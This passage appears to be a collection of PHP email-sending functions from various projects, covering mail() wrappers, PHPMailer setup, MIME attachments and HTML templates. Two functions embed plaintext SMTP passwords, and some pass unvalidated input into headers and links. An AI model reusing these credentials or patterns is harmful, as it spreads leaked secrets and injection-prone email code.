{\n $mail_sent = true;\n } else {\n $mail_sent = false;\n }\n }\n catch(Exception $e)\n {\n \n }\n }", "function mail_ToTech($subject,$msg){\r\n\t$techMan = \"[email protected],[email protected]\";\r\n\t//$techMan = \"[email protected]\";\r\n\t//$techMan = \"[email protected]\";\r\n\t$header = \"From: [email protected] \\r\\n\";\r\n\t$msg = $msg.\"\\r\\n Site: {$_SERVER['SERVER_NAME']}\\r\\n File: \".__FILE__.\"\\r\\n Line: \".__LINE__.\"\\r\\n From: {$_SERVER['REMOTE_HOST']}\\r\\n\";\r\n\tmail($techMan,$subject,$msg,$header);\r\n}", "function mkAttachment()\n {\n $boundary = \"--\" . md5(uniqid(time()));\n if ($this->attfile) {\n $this->headers[\"Content-Type\"] = \"multipart/mixed;\\n boundary=\\\"\" . $boundary . \"\\\"; type=\\\"multipart/mixed\\\"\";\n $mailbody = \"This is a multi-part message in MIME format.\\n\";\n $mailbody .= \"--\" . $boundary;\n $mailbody .= \"\\nContent-Type: text/$this->type; charset=\\\"$this->charset\\\"\\nContent-Transfer-Encoding: $this->encoding\\n\\n\" . $this->mailbody . \"\\n\";\n $i = 0;\n $sep = chr(13) . chr(10);\n for ($x = 0; $x < count($this->attfile['name']); $x++) {\n $base = $this->attfile['name'][$x];\n $type = $this->attfile['type'][$x];\n $disp = $this->attfile['disp'][$x];\n $subhdr = \"--\" . $boundary . \"\\nContent-type: $type;\\n name=\\\"$base\\\"\\nContent-Transfer-Encoding: base64\\nContent-Disposition: $disp;\\n filename=\\\"$base\\\"\\n\";\n $subheader[$i++] = $subhdr;\n $fsize = $this->attfile['size'][$x] + 1;\n $fp = fopen($this->attfile['tmp_name'][$x], 'rb');\n $filecont = \"\";\n while (!feof($fp)) $filecont .= fread($fp, $fsize);\n $subheader[$i++] = chunk_split(base64_encode($filecont));\n fclose($fp);\n }\n $mailbody .= implode($sep, $subheader);\n $mailbody .= \"\\n--\" . $boundary . \"--\";\n $mailbody .= \"\\n-- End --\";\n $this->mailbody = $mailbody;\n }\n }", "function envoi_mail($dest, $titre, $cont) {\n //----------------------------------------------- \n //DECLARE LES VARIABLES \n //----------------------------------------------- \n $email_reply = '[email protected]';\n\n $message_html = '<html> \n <head> \n <title>'.$titre.'</title> \n </head> \n <body>\n <div style=\"padding: 7px; font-size: 1.1em\">\n '.$cont.'\n <br />\n <p>\n Passez une bonne journée sur <a href=\"http://BlogPHP.fr/\">'.Conf::$SITE['TITRE'].'</a>,\n <br />\n <em>L\\'équipe de développement.</em>\n </p>\n </div>\n </body> \n </html>'; \n\n //----------------------------------------------- \n //HEADERS DU MAIL \n //----------------------------------------------- \n\tini_set('SMTP','smtp.sfr.fr');\n\n $entetedate = date(\"D, j M Y H:i:s\"); // avec offset horaire\n $headers = 'From: \"'.Conf::$SITE['TITRE'].'\" <'.$email_reply.'>'.\"\\n\";\n $headers .= 'Return-Path: <'.$email_reply.'>'.\"\\n\"; \n $headers .= 'MIME-Version: 1.0'.\"\\n\"; \n $headers .= 'Content-Type: text/html; charset=\"utf-8\"'.\"\\n\"; \n $headers .= 'Content-Transfer-Encoding: 8bit'.\"\\n\"; \n $headers .= \"X-Mailer: PHP/\" . phpversion() . \"\\n\\n\" ;\n\n return mail($dest, $titre, $message_html, $headers);\n}", "function drupal_mail_wrapper($message) {\n \n // Prepare message filename \"message-TIMESTAMP.txt\"\n //$timestamp = time();\n $message_id = uniqid();\n $filename = \"message-$message_id.txt\";\n $filepath = \"sites/liveandtell.com/mail-logger/sent-mail/$filename\";\n \n // Write message\n $FILE = fopen($filepath, 'x');\n if ($FILE) {\n fwrite($FILE, print_r($message, TRUE));\n fclose($FILE);\n }\n else {\n drupal_set_message('Cannot send email...mail-logger file already exists.');\n }\n \n}", "function send_mail($mail, $message) {\n // $file_url = get_file_downloaded_url($emetteur_id);\n\n $header = \"MIME-Version: 1.0\\r\\n\";\n $header .= 'From:\"aquila\"<[email protected]>'.\"\\n\";\n $header .= 'Content-Type:text/html; charset=\"utf-8\"'.\"\\n\";\n $header .= 'Content-Transfert-Encoding: 8bit';\n\n mail($mail,\"Aquila tranfert de fichier\", $message, $header);\n}", "function pmail($m, $r)\n{\n $mail = new PHPMailer(true);\n\n try {\n //Server settings\n $mail->SMTPDebug = false;\n $mail->isSMTP();\n $mail->Host = 'smtp.gmail.com';\n $mail->CharSet = 'UTF-8';\n $mail->SMTPAuth = true;\n $mail->Username = '[email protected]';\n $mail->Password = 'peerlessmag33'; // SMTP password\n $mail->SMTPSecure = 'ssl';\n $mail->Port = 465;\n\n\n //Recipients \n $mail->setFrom('[email protected]', 'Example');\n \n \n $mail->addReplyTo('[email protected]');\n \n $mail->addAddress($r['mail'], $r['name']); // Add a recipient\n\n\n // Attachments\n //$mail->addAttachment('/var/tmp/file.tar.gz'); // Add attachments\n //$mail->addAttachment('/tmp/image.jpg', 'new.jpg'); // Optional name\n\n\n\n // $mail->AddEmbeddedImage('files/source/main.png', 'logo','main');\n\n $mail->isHTML(true);\n\n if ($m['mess'] == \"issue1\") {\n $message = $m['content'];\n } else if ($m['mess'] == \"confirm\" || $m['mess'] == \"recovery\") {\n // Content\n $message = '<style type=\"text/css\">\n title{text-align:center;}\n </style>\n <table width=\"100%\" style=\"text-align:center;\" cellspacing=\"0\" cellpadding=\"0\">\n <tr>\n <td>\n <table cellspacing=\"0\" cellpadding=\"0\" style=\"margin:auto;\">\n <tr>\n <td width=\"100%\" align=\"center\" style=\"border-radius: 2px;\">\n <a href=\"\" target=\"_blank\" style=\" border-radius: 2px;display:block;margin:auto;text-align:center;color:#fff;\">\n <img alt=\"portal\" src=\"\" \n width=\"200px\" style=\"display: block;margin:auto;\"> \n </a>\n </td>\n </tr>\n </table>\n </td>\n </tr>\n</table>\n<table style=\"width:100%;text-align:center;\">\n <tr>\n <td>\n <h1 style=\"padding:4px;border-radius: 2px;font-family: Georgia;color: #000000;text-decoration: none;\"><style>table{width:100%;text-align:center;}</style>' . (($m['mess'] == \"confirm\") ? \"Confirm Your Email Address\" : \"Recover Your Password\") . '</h1>\n <td></tr>\n </td>\n </table>\n</tr>\n </table>\n \n \n <table width=\"100%\" style=\"text-align:center;\" cellspacing=\"0\" cellpadding=\"0\">\n<tr>\n <td>\n <table style=\"margin:auto;\">\n <tr>\n <td>\n <span style=\"padding:4px;border-radius: 2px;font-family: Georgia;font-size: 18px; color: #000000;text-decoration: none;\">Your ' . (($m['mess'] == \"confirm\") ? \"confirmation\" : \"Recovery\") . ' code is below - enter it into your open browser or click on the link</span>\n <br></br>\n <span style=\"padding:4px;border-radius: 2px;font-family: Georgia;font-size: 18px; color: #000000;text-decoration: none;\">Please enter the code exactly how it is here into your browser</span>\n <td></tr>\n </table>\n </td>\n</tr>\n </table>\n<br></br>\n<br></br>\n<br></br> \n<table width=\"100%\" style=\"text-align:center;\" cellspacing=\"0\" cellpadding=\"0\">\n<tr>\n <td>\n <table style=\"text-align:center;\" width=\"100%\">\n<tr>\n <td align=\"center\" valign=\"middle\" style=\"\">\n <a target=\"_blank\" href=' . $m['url'] . ' style=\"background-color:#ffa500; display: block; padding: 12px;max-width:700px; text-transform: capitalize;text-align:center;border-radius: 2px;font-family: Georgia;font-weight: 500; font-size: 14px;color:#ffffff;text-decoration: none;\">' . (($m['mess'] == \"confirm\") ? \"confirmation\" : \"Recovery\") . '</a>\n </td>\n</tr>\n </td>\n </table>\n</tr>\n </table>\n\n<br></br>\n\n<table width=\"100%\" style=\"text-align:center;\" cellspacing=\"0\" cellpadding=\"0\">\n<tr>\n <td>\n <table style=\"margin:auto;\">\n <tr>\n <td>\n <span style=\"padding:4px;border-radius: 2px;font-family: Georgia;font-size: 18px; color: #000000;text-decoration: none;\">If you didn\\'t request this email, there\\'s nothing to worry about - you can safely ignore it.</span>\n <td></tr>\n </td>\n </table>\n</tr>\n </table>'; //end herrre\n } else if ($m['mess'] == \"save\") {\n $message = '\n <table width=\"100%\" cellspacing=\"0\" cellpadding=\"0\">\n <tr>\n <td>\n <table cellspacing=\"0\" cellpadding=\"0\" style=\"margin:auto;\">\n <tr>\n <td align=\"center\" style=\"border-radius: 2px;\">\n <a href=\"/link/\" target=\"_blank\" style=\"padding: 8px 12px; border-radius: 2px;font-family: Helvetica, Arial, sans-serif;margin:auto;color: #ffffff;text-align:center;text-decoration: none;\">\n <img src=\"/link/\" width=\"200px\" style=\"display: block;\n margin:auto;\"> \n </a>\n </td>\n </tr>\n </table>\n </td>\n </tr>\n</table>\n<table style=\"width:100%;text-align:center;\">\n <tr>\n <td>\n <style>table{width:100%;text-align:center;}</style>\n <h1 style=\"padding:4px;border-radius: 2px;font-family: Georgia;color: #000000;text-decoration: none;\">Profile Changes</h1>\n <td></tr>\n </td>\n </table>\n</tr>\n </table>\n \n \n <table width=\"100%\" cellspacing=\"0\" cellpadding=\"0\">\n<tr>\n <td>\n <table style=\"margin:auto;\">\n <tr>\n <td>\n <span style=\"padding:4px;border-radius: 2px;font-family: Georgia;font-size: 18px; color: #000000;text-decoration: none;\">Hello You Made Changes To Your Profile Earlier...Click The Link Below To Save Your Settings</span>\n <td></tr>\n </td>\n </table>\n</tr>\n </table>\n<br></br>\n<br></br>\n<br></br> \n<table width=\"100%\" cellspacing=\"0\" cellpadding=\"0\">\n<tr>\n <td>\n <table width=\"100%\">\n<tr>\n <td align=\"center\" valign=\"middle\" style=\"\">\n <a target=\"_blank\" href=' . $m['url'] . ' style=\"background-color:#ffa500; display: block; padding: 12px;max-width:700px; text-transform: capitalize;text-align:center;border-radius: 3px;font-family: Georgia;font-weight: 500; font-size: 14px;color:#ffffff;text-decoration: none; font-style: normal; \">Save Settings</a>\n </td>\n</tr>\n </td>\n </table>\n</tr>\n </table>\n\n<br></br>\n<br></br>\n\n<table width=\"100%\" cellspacing=\"0\" cellpadding=\"0\">\n<tr>\n <td>\n <table style=\"margin:auto;\">\n <tr>\n <td>\n <span style=\"padding:4px;border-radius: 2px;font-family: Georgia;font-size: 18px; color: #000000;text-decoration: none;\">If you didn\\'t request this email, there\\'s nothing to worry about - you can safely ignore it.</span>\n <td></tr>\n </td>\n </table>\n</tr>\n </table>'; //end herrre\n\n } else if ($m['mess'] == \"notify\") {\n\n $message = '\n <table width=\"100%\" cellspacing=\"0\" cellpadding=\"0\">\n <tr>\n <td>\n <table cellspacing=\"0\" cellpadding=\"0\" style=\"margin:auto;\">\n <tr>\n <td width=\"100%\" align=\"center\" style=\"border-radius: 2px;\">\n <a href=\"/link/\" target=\"_blank\" style=\" border-radius: 2px;display:block;margin:auto;text-align:center;color:#fff;\">\n <img alt=\"/link/\" src=\"/link/\" width=\"200px\" style=\"display: block;margin:auto;\"> \n </a>\n </td>\n </tr>\n </table>\n </td>\n </tr>\n</table>\n<table style=\"width:100%;text-align:center;\">\n <tr>\n <td>\n \n <h1 style=\"padding:4px;border-radius: 2px;font-family: Georgia;color: #000000;text-decoration: none;\">New Articles Ready For Review<style>table{width:100%;text-align:center;}</style></h1>\n <td></tr>\n </td>\n </table>\n</tr>\n </table>\n\n <br></br>\n <table width=\"100%\" cellspacing=\"0\" cellpadding=\"0\">\n<tr>\n <td>\n <table style=\"margin:auto;\">\n <tr>\n <td>\n <span style=\"padding:4px;border-radius: 2px;font-family: Georgia;font-size: 18px; color: #000000;text-decoration: none;\">Hello ' . $r['name'] . ' You Have Up To 5 or More Waiting For Your Approval Click On The Button Below To Login.</span>\n\n<br></br>\n<br></br>\n\n<table width=\"100%\" cellspacing=\"0\" cellpadding=\"0\">\n<tr>\n <td>\n <table width=\"100%\">\n<tr>\n <td align=\"center\" valign=\"middle\" style=\"\">\n <a target=\"_blank\" href=' . $m['url'] . ' style=\"background-color:#ffa500; display: block; padding: 12px;max-width:700px; text-transform: capitalize;text-align:center;border-radius: 2px;font-family: Georgia;font-weight: 500; font-size: 14px;color:#ffffff;text-decoration: none; font-style: normal;\">Login</a>\n </td>\n</tr>\n </td>\n </table>\n</tr>\n </table>\n\n<br></br>\n<br></br>\n<table width=\"100%\" cellspacing=\"0\" cellpadding=\"0\">\n<tr>\n <td>\n <table style=\"margin:auto;\">\n <tr>\n <td>\n <span style=\"padding:4px;border-radius: 2px;font-family: Georgia;font-size: 18px; color: #000000;text-decoration: none;\">If this email doesn\\'t seem familiar to you, there\\'s nothing to worry about - you can safely ignore it.</span>\n <td></tr>\n </td>\n </table>\n</tr>\n </table>';\n\n } else if ($m['mess'] == \"ninfo\") {\n $message = $m['info'];\n }\n $mail->Subject = $m['subject'];\n $mail->Body = $message;\n $mail->send();\n return true;\n } catch (Exception $e) {\n return false;\n }\n}", "function send_emails() {\n $settings = new Settings();\n $mail_companies = $settings->get_mailto_companies();\n $failed_list_mails = array();\n $mail_reader = new EmailReader(dirname(__FILE__) . '/mails', $this->user_information);\n foreach ($this->cookie_list as $item) {\n if (!$item->has_email()) {\n \t$failed_list_mails[] = $item;\n }\n else {\n $template = $mail_reader->get_companies_mail($item, $mail_companies);\n if (!$this->mail_to($item, $template, $mail_companies)) {\n $failed_list_mails[] = $item;\n }\n\t }\n }\n $this->update_amounts_used($this->cookie_list);\n\n\n $attachments = array();\n\n $failed_list_letters = array();\n foreach ($this->cookie_list as $item) {\n if (!$item->has_address()) {\n $failed_list_letters[] = $item;\n }\n else {\n $letter_generator = new LetterGenerator($this->user_information);\n $pdf = $letter_generator->generate_letter_string($item);\n if ($pdf) {\n \t$folder_writer = new FolderHandler();\n \t$file = $folder_writer->store_file($pdf, \"pdf\");\n \tif ($file) {\n \t\t$attachments[] = $file;\n \t}\n \telse {\n \t\t$failed_list_letters[] = $item;\n \t}\n }\n else {\n $failed_list_letters[] = $item;\n }\n }\n }\n\n\n\n return $this->send_confirmation_mail($attachments, $failed_list_mails, array_diff($this->cookie_list,\n $failed_list_mails), $failed_list_letters, array_diff($this->cookie_list, $failed_list_letters),\n $mail_companies);\n }", "function no_email() {\n\tob_end_clean();\n require './assets/includes/header.html';\n require './assets/includes/error.inc.php';\n $links = ['Return To Home' => 'index.php'];\n produce_error_page('That email doesn\\'t exist. Please contact our service team to resolve the issue.', $links);\n require './assets/includes/footer.html';\n exit();\n}", "function write_footer($update_date)\n\t{\n\t\tprint(\"<a href=\\\"http://www.tcd.ie/\\\"><img src=\\\"./common_files/tcd_crest.png\\\" align=right border=0 width=53></a>\\n\");\n\t\tprint(\"<a href=\\\"http://www.esa.eu/\\\"><img src=\\\"./common_files/images/logos/esa_small.jpg\\\" align=right border=0 width=78></a>\\n\");\n\t\tprint(\"<a href=\\\"http://www.nasa.gov/goddard/\\\"><img src=\\\"./common_files/nasalogo.png\\\" align=right border=0></a>\\n\");\n\t\tprint(\"<a href=\\\"http://cordis.europa.eu/fp7/\\\"><img src=\\\"./common_files/FP7_Capacities_logo.jpg\\\" align=right border=0 width=85></a>\\n\");\n\t\tprint(\"<a href=\\\"http://www.helio-vo.eu/\\\"><img src=\\\"./common_files/helio_logo_small.png\\\" align=right border=0 width=110></a>\\n\");\n\t\tprint(\"<address><font size=\\\"-1\\\">\\n\");\n//\t\tprint(\"\t<b>Web Curators:</b> Paul Higgins (TCD), Peter Gallagher (TCD), <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Shaun Bloomfield (TCD), James McAteer (TCD) <br>\\n\"); //- <a class=mail2 href=\\\"mailto:[email protected]\\\">[email protected]</a><br>\\n\");\n\t\tprint(\" <i><b>Developed by:</b></i> <a class=mail2 href=credits.php>TCD SolarMonitor.org team</a><br>\\n\");\n\t\tprint(\"\t<b>Contact:</b> <a class=mail2 href=\\\"mailto:[email protected]\\\">[email protected]</a><br><br>\\n\");\n//\t\tprint(\"\t<b>Responsible NASA official:</b> Joseph B. Gurman<br>\\n\");\n//\t\tprint(\" <a class=mail2 href=\\\"http://beauty.nascom.nasa.gov/nasa_warnings.html\\\">NASA security and privacy protection statement</a><br><br>\\n\");\n\t\tprint(\"\tThese pages are automatically updated every 30 minutes.<br>\\n\");\n\t\tprint(\"\tLast updated: $update_date\\n\");\n\t\tprint(\"</font></address>\\n\");\n\t\t\n\t\tprint(\"<LINK REL=\\\"alternate\\\" TITLE=\\\"SolarMonitor.org RSS\\\" HREF=\\\"http://www.solarmonitor.org/rss.php\\\" TYPE=\\\"application/rss+xml\\\">\");\n\t\tprint(\"<LINK REL=\\\"alternate\\\" TITLE=\\\"SolarMonitor.org RSS Active Region Summary\\\" HREF=\\\"http://www.solarmonitor.org/rss2.php\\\" TYPE=\\\"application/rss+xml\\\">\");\n\t\twrite_statcounter();\n\t\twrite_googleanalytics();\n\t}", "function enviarEmail($destinatario,$asunto,$cuerpo) {\r\n\r\n\r\n\t# Defina el número de e-mails que desea enviar por periodo. Si es 0, el proceso por lotes\r\n\t# se deshabilita y los mensajes son enviados tan rápido como sea posible.\r\n\tdefine(\"MAILQUEUE_BATCH_SIZE\",0);\r\n\r\n\t//para el envío en formato HTML\r\n\t//$headers = \"MIME-Version: 1.0\\r\\n\";\r\n\t\r\n\t// Cabecera que especifica que es un HMTL\r\n\t$headers = 'MIME-Version: 1.0' . \"\\r\\n\";\r\n\t$headers .= 'Content-type: text/html; charset=iso-8859-1' . \"\\r\\n\";\r\n\t\r\n\t//dirección del remitente\r\n\t$headers .= utf8_decode(\"From: GUSTAVO OMAR AVILA - PROCOMEX <[email protected]>\\r\\n\");\r\n\t\r\n\t//ruta del mensaje desde origen a destino\r\n\t$headers .= \"Return-path: \".$destinatario.\"\\r\\n\";\r\n\t\r\n\t//direcciones que recibirán copia oculta\r\n\t$headers .= \"Bcc: [email protected]\\r\\n\";\r\n\t\r\n\tmail($destinatario,$asunto,$cuerpo,$headers); \t\r\n}", "public function enviarMailDoc() {\n $obj_con = new cls_Base();\n $obj_var = new cls_Global();\n $objEmpData= new EMPRESA();\n $dataMail = new mailSystem();\n $rep = new REPORTES();\n //$con = $obj_con->conexionVsRAd();\n $objEmp=$objEmpData->buscarDataEmpresa(cls_Global::$emp_id,cls_Global::$est_id,cls_Global::$pemi_id);//recuperar info deL Contribuyente\n $con = $obj_con->conexionIntermedio();\n \n $dataMail->file_to_attachXML=$obj_var->rutaXML.'NC/';//Rutas FACTURAS\n $dataMail->file_to_attachPDF=$obj_var->rutaPDF;//Ructa de Documentos PDF\n try {\n $cabDoc = $this->buscarMailNcRAD($con,$obj_var,$obj_con);//Consulta Documentos para Enviar\n //Se procede a preparar con los correos para enviar.\n for ($i = 0; $i < sizeof($cabDoc); $i++) {\n //Retorna Informacion de Correos\n $rowUser=$obj_var->buscarCedRuc($cabDoc[$i]['CedRuc']);//Verifico si Existe la Cedula o Ruc\n if($rowUser['status'] == 'OK'){\n //Existe el Usuario y su Correo Listo para enviar\n $row=$rowUser['data'];\n $cabDoc[$i]['CorreoPer']=$row['CorreoPer'];\n $cabDoc[$i]['Clave']='';//No genera Clave\n }else{\n //No Existe y se crea uno nuevo\n $rowUser=$obj_var->insertarUsuarioPersona($obj_con,$cabDoc,'MG0031',$i);//Envia la Tabla de Dadtos de Person ERP\n $row=$rowUser['data'];\n $cabDoc[$i]['CorreoPer']=$row['CorreoPer'];\n $cabDoc[$i]['Clave']=$row['Clave'];//Clave Generada\n }\n }\n //Envia l iformacion de Correos que ya se completo\n for ($i = 0; $i < sizeof($cabDoc); $i++) {\n if(strlen($cabDoc[$i]['CorreoPer'])>0){ \n //if(1>0){ \n $mPDF1=$rep->crearBaseReport();\n //Envia Correo \n include('mensaje.php');\n $htmlMail=$mensaje;\n\n $dataMail->Subject='Ha Recibido un(a) Documento Nuevo(a)!!! ';\n $dataMail->fileXML='NOTA DE CREDITO-'.$cabDoc[$i][\"NumDocumento\"].'.xml';\n $dataMail->filePDF='NOTA DE CREDITO-'.$cabDoc[$i][\"NumDocumento\"].'.pdf';\n //CREAR PDF\n $mPDF1->SetTitle($dataMail->filePDF);\n $cabFact = $this->mostrarCabNc($con,$obj_con,$cabDoc[$i][\"Ids\"]);\n $detDoc = $this->mostrarDetNc($con,$obj_con,$cabDoc[$i][\"Ids\"]);\n $impDoc = $this->mostrarNcImp($con,$obj_con,$cabDoc[$i][\"Ids\"]);\n $adiDoc = $this->mostrarNcDataAdicional($con,$obj_con,$cabDoc[$i][\"Ids\"]);\n \n $usuData=array();\n //$usuData=$objEmpData->buscarDatoVendedor($cabFact[0][\"USU_ID\"]);//Correo del Usuario que Autoriza\n include('formatNc/ncPDF.php');\n \n //COMETAR EN CASO DE NO PRESENTAR ESTA INFO\n $mPDF1->SetWatermarkText('ESTA INFORMACIÓN ES UNA PRUEBA');\n $mPDF1->watermark_font= 'DejaVuSansCondensed';\n $mPDF1->watermarkTextAlpha = 0.5;\n $mPDF1->showWatermarkText=($cabDoc[$i][\"Ambiente\"]==1)?TRUE:FALSE; // 1=Pruebas y 2=Produccion\n //****************************************\n \n $mPDF1->WriteHTML($mensajePDF); //hacemos un render partial a una vista preparada, en este caso es la vista docPDF\n $mPDF1->Output($obj_var->rutaPDF.$dataMail->filePDF, 'F');//I en un naverdoad F=ENVIA A UN ARCHVIO\n\n $resulMail=$dataMail->enviarMail($htmlMail,$cabDoc,$obj_var,$usuData,$i);\n if($resulMail[\"status\"]=='OK'){\n $cabDoc[$i]['EstadoEnv']=6;//Correo Envia\n }else{\n $cabDoc[$i]['EstadoEnv']=7;//Correo No enviado\n }\n \n }else{\n //No envia Correo \n //Error COrreo no EXISTE\n $cabDoc[$i]['EstadoEnv']=7;//Correo No enviado\n }\n \n }\n $con->close();\n $obj_var->actualizaEnvioMailRAD($cabDoc,\"NC\");\n //echo \"ERP Actualizado\";\n return true;\n } catch (Exception $e) {\n //$trans->rollback();\n //$con->active = false;\n $con->rollback();\n $con->close();\n throw $e;\n return false;\n } \n }", "function Sending_MultyEMail($temp_value,$to,$cc,$subject,$path)\n{\n \t$mailmsg=createTemplate($temp_value,$path);\n\t$mailparam=array(\"to\"=>$to,\"toname\"=>\"\", \"cc\"=>$cc, \"bcc\"=>\"\", \"replyto\" => \"\", \"replytoname\" => \"\", \"subject\" =>$subject, \"message\"=>$mailmsg, \"fromemail\"=>\"\", \"fromname\"=>\"\", \"attachment\"=>\"\");\n\t\n\tif(sendmail($mailparam))\n\t{\n\t\t$statusresult[0] = true;\n\t\treturn $statusresult;\n\t}\n\telse\n\t{\n\t\t$statusresult[0] = false;\n\t\t$statusresult['msg'] = \"Unable to send mail\";\n\t\t$statusresult['errorcode']=-1;\n\t\treturn $statusresult;\n\t}\n}", "public function sendmail($name, $email, $content)\n {\n \n \n //build the Email isntance\n $this->email->setName($name);\n $this->email->setEmail($email);\n $this->email->setContent($content);\n\n\n//Tell PHPMailer to use SMTP\n $this->mail->isSMTP();\n//Enable SMTP debugging\n// 0 = off (for production use)\n// 1 = client messages\n// 2 = client and server messages\n $this->mail->SMTPDebug = 0;\n//Set the hostname of the mail server\n $this->mail->Host = $this->host;\n\n// if your network does not support SMTP over IPv6\n//Set the SMTP port number - 587 for authenticated TLS, a.k.a. RFC4409 SMTP submission\n $this->mail->Port = $this->port;\n//Set the encryption system to use - ssl (deprecated) or tls\n $this->mail->SMTPSecure = $this->smtpSecure;\n//Whether to use SMTP authentication\n $this->mail->SMTPAuth = $this->smtpAuth;\n//Username to use for SMTP authentication - use full email address for gmail\n $this->mail->Username = $this->myEmail;\n//Password to use for SMTP authentication\n $this->mail->Password = $this->password;\n//Set who the message is to be sent from\n $this->mail->setFrom($this->myEmail, 'First Last');\n//Set an alternative reply-to address\n $this->mail->addReplyTo($this->myEmail, 'First Last');\n//Set who the message is to be sent to\n $this->mail->addAddress($this->destEmail, 'John Doe');\n//Set the subject line\n $this->mail->Subject = 'Mail de Myblog';\n//Read an HTML message body from an external file, convert referenced images to embedded,\n//convert HTML into a basic plain-text alternative body\n $this->mail->msgHTML($this->email->format());\n//Replace the plain text body with one created manually\n $this->mail->AltBody = 'This is a plain-text message body';\n//Attach an image file\n\n//send the message, check for errors\n if (!$this->mail->send()) {\n return false;\n } else {\n return true;\n }\n }", "function mjb_send_mail($production_level = FALSE, $dt_in)\n\t{\n\t\t$production_level=FALSE;\n\t\t$mail = new PHPMailer();\n\t\t$mail->Hostname = '192.168.0.35';\n\t\t$mail->Port = 25;\n\t\t$mail->Host = \"192.168.0.35\";\n\t\t$mail->SMTPAuth = true;\n\t\t$mail->Username = '[email protected]';\n\t\t$mail->Password = 'autoemail';\n\t\t$mail->Mailer = 'smtp';\n\t\t$mail->From = \"[email protected]\";\n\t\t$mail->FromName = \"Auto Email\"; \n\t\t\n\t\t$mail->Subject = $dt_in['subject'];\t\n\t\t\n\t\tif(array_key_exists('to', $dt_in))\n\t\t{\n\t\t\tforeach($dt_in['to'] as $eml_to)\n\t\t\t{\n\t\t\t\tif(!empty($eml_to))\n\t\t\t\t{\n\t\t\t\t\tif($production_level==FALSE)\n\t\t\t\t\t{\n\t\t\t\t\t\t$dt_in['body'] .= \"\\n\\n To: \".$eml_to.\"\\n\";\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\t$mail->AddAddress($eml_to);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\tif(array_key_exists('cc', $dt_in))\n\t\t{\n\t\t\tforeach($dt_in['cc'] as $eml_cc)\n\t\t\t{\n\t\t\t\tif(!empty($eml_cc))\n\t\t\t\t{\n\t\t\t\t\tif($production_level==FALSE)\n\t\t\t\t\t{\n\t\t\t\t\t\t$dt_in['body'] .= \"\\n cc: \".$eml_cc.\"\\n\";\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\t$mail->addCC($eml_cc);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\tif(array_key_exists('attc', $dt_in))\n\t\t{\n\t\t\tforeach($dt_in['attc'] as $eml_attc)\n\t\t\t{\n\t\t\t\tif(!empty($eml_attc))\n\t\t\t\t{\n\t\t\t\t\t$mail->addAttachment($eml_attc);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\tif($production_level==FALSE)\n\t\t{\n\t\t\t$mail->addCC( '[email protected]' );\n\t\t\t$mail->addCC( '[email protected]' );\n\t\t}\n\t\t\n\t\t$mail->Body = $dt_in['body'];\n\t\t\t\t\t\t\t\t\t\t\t\n\t\t$success = $mail->Send();\n\t}", "function elegant_email_body($messagtext,$properties){ \n\n ob_start(); ?>\n\n\n<!DOCTYPE html>\n<html xmlns:o=\"urn:schemas-microsoft-com:office:office\" xmlns:v=\"urn:schemas-microsoft-com:vml\">\n<head>\n <title></title><!--[if !mso]><!== -->\n <meta content=\"IE=edge\" http-equiv=\"X-UA-Compatible\"><!--<![endif]-->\n <meta content=\"text/html; charset=utf-8\" http-equiv=\"Content-Type\">\n <meta content=\"width=device-width, initial-scale=1.0\" name=\"viewport\">\n <style type=\"text/css\">\n #outlook a { padding: 0; } .ReadMsgBody { width: 100%; } .ExternalClass { width: 100%; } .ExternalClass * { line-height:100%; } body { margin: 0; padding: 0; -webkit-text-size-adjust: 100%; -ms-text-size-adjust: 100%; } table, td { border-collapse:collapse; mso-table-lspace: 0pt; mso-table-rspace: 0pt; } img { border: 0; height: auto; line-height: 100%; outline: none; text-decoration: none; -ms-interpolation-mode: bicubic; } p { display: block; margin: 13px 0; }\n </style><!--[if !mso]><!-->\n <style type=\"text/css\">\n @media only screen and (max-width:480px) { @-ms-viewport { width:320px; } @viewport { width:320px; } }\n </style><!--<![endif]--><!--[if mso]><xml> <o:OfficeDocumentSettings> <o:AllowPNG/> <o:PixelsPerInch>96</o:PixelsPerInch> </o:OfficeDocumentSettings></xml><![endif]--><!--[if lte mso 11]><style type=\"text/css\"> .outlook-group-fix { width:100% !important; }</style><![endif]--><!--[if !mso]><!-->\n <link href=\"https://fonts.googleapis.com/css?family=Ubuntu:300,400,500,700\" rel=\"stylesheet\" type=\"text/css\">\n <style type=\"text/css\">\n @import url(https://fonts.googleapis.com/css?family=Ubuntu:300,400,500,700); \n </style><!--<![endif]-->\n <style type=\"text/css\">\n ul {margin:0px;padding: 0px;}\n @media only screen and (min-width:480px) { .mj-column-per-100 { width:100%!important; }.mj-column-per-50 { width:50%!important; } }\n }\n </style>\n</head>\n<body style=\"background: #FFFFFF;\">\n <div class=\"mj-container\" style=\"background-color:#FFFFFF;\">\n <!--[if mso | IE]> <table role=\"presentation\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\" width=\"600\" align=\"center\" style=\"width:600px;\"> <tr> <td style=\"line-height:0px;font-size:0px;mso-line-height-rule:exactly;\"> <![endif]-->\n <div style=\"margin:0px auto;max-width:600px;\">\n <table align=\"center\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\" role=\"presentation\" style=\"font-size:0px;width:100%;\">\n <tbody>\n <tr>\n <td style=\"text-align:center;vertical-align:top;direction:ltr;font-size:0px;padding:9px 0px 9px 0px;\">\n <!--[if mso | IE]> <table role=\"presentation\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\"> <tr> <td style=\"vertical-align:top;width:600px;\"> <![endif]-->\n <div class=\"mj-column-per-100 outlook-group-fix\" style=\"vertical-align:top;display:inline-block;direction:ltr;font-size:13px;text-align:left;width:100%;\">\n <table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" role=\"presentation\" width=\"100%\">\n <tbody>\n <tr>\n <td align=\"center\" style=\"word-wrap:break-word;font-size:0px;padding:18px 18px 18px 18px;\">\n <table align=\"center\" border=\"0\" cellpadding=\"0\" 